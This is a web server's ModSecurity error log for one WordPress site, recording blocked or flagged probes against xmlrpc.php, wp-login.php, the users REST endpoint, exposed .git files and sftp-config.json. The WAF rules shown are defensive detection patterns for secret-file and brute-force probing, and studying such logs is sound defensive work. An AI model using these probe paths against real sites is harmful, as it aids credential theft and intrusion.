[Sun Nov 30 04:43:27.824354 2025] [:error] [pid 25002:tid 25051] [client 51.89.116.113:30222] [client 51.89.116.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.89.116.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSta722Hykst8BxxTdJI9wAAAVM"]
[Sun Nov 30 06:11:49.830716 2025] [:error] [pid 26121:tid 26145] [client 50.116.31.125:49930] [client 50.116.31.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.116.31.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aStvpe3yAGZUIB-ACmBK7gAAAdY"]
[Sun Nov 30 09:02:38.074582 2025] [:error] [pid 38508:tid 38523] [client 5.183.189.74:44262] [client 5.183.189.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.183.189.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSuXrv9ik0lOnKrNBoyOqAAAAoU"]
[Sun Nov 30 10:17:36.447775 2025] [proxy_fcgi:error] [pid 12793:tid 12807] (70007)The timeout specified has expired: [client 51.81.107.180:55890] AH01075: Error dispatching request to : (polling)
[Sun Nov 30 10:26:02.539491 2025] [:error] [pid 10608:tid 10642] [client 173.212.218.121:53538] [client 173.212.218.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.212.218.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSurOuG4qpknNxmxP5coSgAAA8U"]
[Sun Nov 30 11:21:18.052291 2025] [:error] [pid 9374:tid 9401] [client 117.62.235.53:34918] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSu4LoEwr5jt_cokVdwZEQAAAxg"]
[Sun Nov 30 11:47:09.448970 2025] [:error] [pid 9374:tid 9385] [client 185.243.11.191:47076] [client 185.243.11.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.243.11.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSu-PYEwr5jt_cokVdweywAAAwg"]
[Sun Nov 30 12:19:56.718877 2025] [:error] [pid 9375:tid 9421] [client 31.130.203.168:59948] [client 31.130.203.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.130.203.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvF7N-EkWIUe87KIjO3OQAAA1E"]
[Sun Nov 30 12:19:59.558867 2025] [:error] [pid 10518:tid 10528] [client 31.130.203.168:54314] [client 31.130.203.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.130.203.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvF7w8XjrhaEDJ0Rd947gAAAUc"], referer: http://gigfragments.org/wp-login.php
[Sun Nov 30 12:20:02.119633 2025] [:error] [pid 9694:tid 9709] [client 31.130.203.168:54900] [client 31.130.203.168] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSvF8sNOaRChkzIC_nVAcwAAAM0"], referer: http://gigfragments.org/wp-login.php
[Sun Nov 30 12:20:03.451254 2025] [:error] [pid 58704:tid 58720] [client 31.130.203.168:55172] [client 31.130.203.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.130.203.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvF81gCdnbXMzbONnO8iwAAA40"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Sun Nov 30 12:21:09.911252 2025] [:error] [pid 58704:tid 58707] [client 104.248.174.90:51341] [client 104.248.174.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.174.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvGNVgCdnbXMzbONnO83wAAA4A"]
[Sun Nov 30 12:21:12.317878 2025] [:error] [pid 10608:tid 10655] [client 104.248.174.90:57470] [client 104.248.174.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.174.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvGOOG4qpknNxmxP5c8HwAAA9I"]
[Sun Nov 30 12:34:05.599796 2025] [:error] [pid 10550:tid 10592] [client 104.248.174.90:62995] [client 104.248.174.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.174.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvJPel_8Vq2nipf7mEEGgAAAo0"]
[Sun Nov 30 12:40:47.562449 2025] [:error] [pid 9694:tid 9708] [client 104.248.174.90:57837] [client 104.248.174.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.174.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvKz8NOaRChkzIC_nVEtwAAAMw"]
[Sun Nov 30 12:46:50.567771 2025] [:error] [pid 9375:tid 9410] [client 104.248.174.90:52623] [client 104.248.174.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.174.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSvMOt-EkWIUe87KIjO7wwAAA0Y"]
[Sun Nov 30 15:54:04.457008 2025] [:error] [pid 58704:tid 58716] [client 50.116.31.125:37024] [client 50.116.31.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.116.31.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSv4HFgCdnbXMzbONnP9lwAAA4k"]
[Sun Nov 30 17:13:18.487569 2025] [:error] [pid 58704:tid 58709] [client 164.68.115.151:47102] [client 164.68.115.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.68.115.151, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSwKrlgCdnbXMzbONnMeZgAAA4I"]
[Sun Nov 30 17:52:12.907688 2025] [:error] [pid 58704:tid 58722] [client 120.71.59.24:44371] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSwTzFgCdnbXMzbONnMsXQAAA48"]
[Sun Nov 30 18:31:28.318256 2025] [:error] [pid 12793:tid 12818] [client 185.243.11.191:40346] [client 185.243.11.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.243.11.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSwdAMsEgQeCVydJZ0goFQAAAFc"]
[Sun Nov 30 19:17:10.868743 2025] [:error] [pid 10550:tid 10579] [client 157.245.61.90:55354] [client 157.245.61.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aSwntul_8Vq2nipf7mFR8gAAAoA"]
[Sun Nov 30 19:31:18.817291 2025] [:error] [pid 9374:tid 9397] [client 157.245.3.161:58600] [client 157.245.3.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.3.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSwrBoEwr5jt_cokVdxsXQAAAxQ"]
[Sun Nov 30 19:31:21.053471 2025] [:error] [pid 10608:tid 10638] [client 157.245.3.161:56108] [client 157.245.3.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.3.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSwrCeG4qpknNxmxP5d8qQAAA8E"]
[Sun Nov 30 19:34:05.011996 2025] [:error] [pid 10608:tid 10645] [client 45.55.56.231:38172] [client 45.55.56.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSwrreG4qpknNxmxP5d9IwAAA8g"]
[Sun Nov 30 19:34:11.181388 2025] [:error] [pid 58704:tid 58723] [client 45.55.56.231:41826] [client 45.55.56.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSwrs1gCdnbXMzbONnNLxAAAA5A"]
[Sun Nov 30 19:46:57.155607 2025] [:error] [pid 10550:tid 10588] [client 192.250.232.94:46716] [client 192.250.232.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.232.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSwusel_8Vq2nipf7mFW2QAAAok"]
[Sun Nov 30 21:06:45.743015 2025] [:error] [pid 10608:tid 10638] [client 18.118.108.129:37582] [client 18.118.108.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.118.108.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxBZeG4qpknNxmxP5eLGgAAA8E"]
[Sun Nov 30 21:28:36.481401 2025] [:error] [pid 10518:tid 10536] [client 35.192.159.188:61859] [client 35.192.159.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.159.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGhA8XjrhaEDJ0Rd_XWwAAAU8"]
[Sun Nov 30 21:28:39.851773 2025] [:error] [pid 10518:tid 10531] [client 35.192.159.188:61859] [client 35.192.159.188] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSxGhw8XjrhaEDJ0Rd_XXgAAAUo"]
[Sun Nov 30 21:28:41.485188 2025] [:error] [pid 10518:tid 10543] [client 35.192.159.188:61859] [client 35.192.159.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.159.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGiQ8XjrhaEDJ0Rd_XYAAAAVY"]
[Sun Nov 30 21:28:43.371534 2025] [:error] [pid 10608:tid 10638] [client 35.192.159.188:56592] [client 35.192.159.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.159.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGi-G4qpknNxmxP5eOYwAAA8E"]
[Sun Nov 30 21:28:45.207196 2025] [:error] [pid 58704:tid 58729] [client 35.192.159.188:63142] [client 35.192.159.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.159.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGjVgCdnbXMzbONnN0VQAAA5Y"]
[Sun Nov 30 21:28:47.200941 2025] [:error] [pid 58704:tid 58709] [client 35.192.159.188:61292] [client 35.192.159.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.159.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGj1gCdnbXMzbONnN0WQAAA4I"]
[Sun Nov 30 21:28:49.115164 2025] [:error] [pid 9694:tid 9706] [client 35.192.159.188:54612] [client 35.192.159.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.192.159.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGkcNOaRChkzIC_nXHwQAAAMo"]
[Sun Nov 30 21:28:49.115341 2025] [:error] [pid 9694:tid 9706] [client 35.192.159.188:54612] [client 35.192.159.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.192.159.188, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxGkcNOaRChkzIC_nXHwQAAAMo"]
[Sun Nov 30 22:23:48.139583 2025] [:error] [pid 58704:tid 58727] [client 185.41.185.211:56174] [client 185.41.185.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.41.185.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxTdFgCdnbXMzbONnOFxgAAA5Q"]
[Sun Nov 30 22:27:45.075153 2025] [:error] [pid 10518:tid 10521] [client 34.78.6.233:62157] [client 34.78.6.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.6.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUYQ8XjrhaEDJ0Rd_g7QAAAUA"]
[Sun Nov 30 22:27:49.333686 2025] [:error] [pid 10518:tid 10533] [client 34.78.6.233:62157] [client 34.78.6.233] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSxUZQ8XjrhaEDJ0Rd_g8AAAAUw"]
[Sun Nov 30 22:27:51.300916 2025] [:error] [pid 10518:tid 10541] [client 34.78.6.233:62157] [client 34.78.6.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.6.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUZw8XjrhaEDJ0Rd_g8gAAAVQ"]
[Sun Nov 30 22:27:53.574874 2025] [:error] [pid 9375:tid 9415] [client 34.78.6.233:59007] [client 34.78.6.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.6.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUad-EkWIUe87KIjM66AAAA0s"]
[Sun Nov 30 22:27:55.762906 2025] [:error] [pid 10607:tid 10613] [client 34.78.6.233:57102] [client 34.78.6.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.6.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUa3MxNFmf1l9xA_G6NQAAAsM"]
[Sun Nov 30 22:27:58.246461 2025] [:error] [pid 9694:tid 9706] [client 34.78.6.233:54227] [client 34.78.6.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.6.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUbsNOaRChkzIC_nXV1AAAAMo"]
[Sun Nov 30 22:28:00.403493 2025] [:error] [pid 10608:tid 10653] [client 34.78.6.233:56004] [client 34.78.6.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.78.6.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUcOG4qpknNxmxP5eXnQAAA9A"]
[Sun Nov 30 22:28:00.403688 2025] [:error] [pid 10608:tid 10653] [client 34.78.6.233:56004] [client 34.78.6.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.78.6.233, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxUcOG4qpknNxmxP5eXnQAAA9A"]
[Sun Nov 30 23:18:05.217535 2025] [:error] [pid 12793:tid 12811] [client 34.136.25.122:64810] [client 34.136.25.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.136.25.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgLcsEgQeCVydJZ0hPUAAAAFA"]
[Sun Nov 30 23:18:10.385724 2025] [:error] [pid 12793:tid 12816] [client 34.136.25.122:64810] [client 34.136.25.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSxgMssEgQeCVydJZ0hPVwAAAFU"]
[Sun Nov 30 23:18:12.010345 2025] [:error] [pid 12793:tid 12804] [client 34.136.25.122:64810] [client 34.136.25.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.136.25.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgNMsEgQeCVydJZ0hPWgAAAEk"]
[Sun Nov 30 23:18:14.139896 2025] [:error] [pid 58704:tid 58715] [client 34.136.25.122:54367] [client 34.136.25.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.136.25.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgNlgCdnbXMzbONnOUqQAAA4g"]
[Sun Nov 30 23:18:16.584334 2025] [:error] [pid 9694:tid 9706] [client 34.136.25.122:55377] [client 34.136.25.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.136.25.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgOMNOaRChkzIC_nXfjwAAAMo"]
[Sun Nov 30 23:18:18.547644 2025] [:error] [pid 9694:tid 9697] [client 34.136.25.122:55906] [client 34.136.25.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.136.25.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgOsNOaRChkzIC_nXfkwAAAME"]
[Sun Nov 30 23:18:20.834407 2025] [:error] [pid 58704:tid 58727] [client 34.136.25.122:65158] [client 34.136.25.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.136.25.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgPFgCdnbXMzbONnOUtAAAA5Q"]
[Sun Nov 30 23:18:20.834605 2025] [:error] [pid 58704:tid 58727] [client 34.136.25.122:65158] [client 34.136.25.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.136.25.122, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxgPFgCdnbXMzbONnOUtAAAA5Q"]
[Sun Nov 30 23:33:34.336358 2025] [:error] [pid 12793:tid 12804] [client 18.188.209.243:42422] [client 18.188.209.243] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "38.242.224.227_ca3e4798e4432adf71505abe7359ea8b716985ff"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-content/themes/landkit/assets/libs/aos/dist/aos.js"] [unique_id "aSxjy8sEgQeCVydJZ0hRQwAAAEk"], referer: https://gigfragments.org/
[Sun Nov 30 23:36:42.353754 2025] [:error] [pid 10607:tid 10614] [client 45.130.203.179:63125] [client 45.130.203.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aSxkinMxNFmf1l9xA_HCNQAAAsQ"]
[Sun Nov 30 23:41:59.495615 2025] [:error] [pid 12554:tid 12559] [client 51.210.113.223:58460] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSxlxz7q_kXd01TaAD-e1wAAAAM"]
[Mon Dec 01 00:54:19.240638 2025] [:error] [pid 32521:tid 32552] [client 51.210.190.32:46656] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSx2uz-OXioBrWvHoPqrFgAAAwA"]
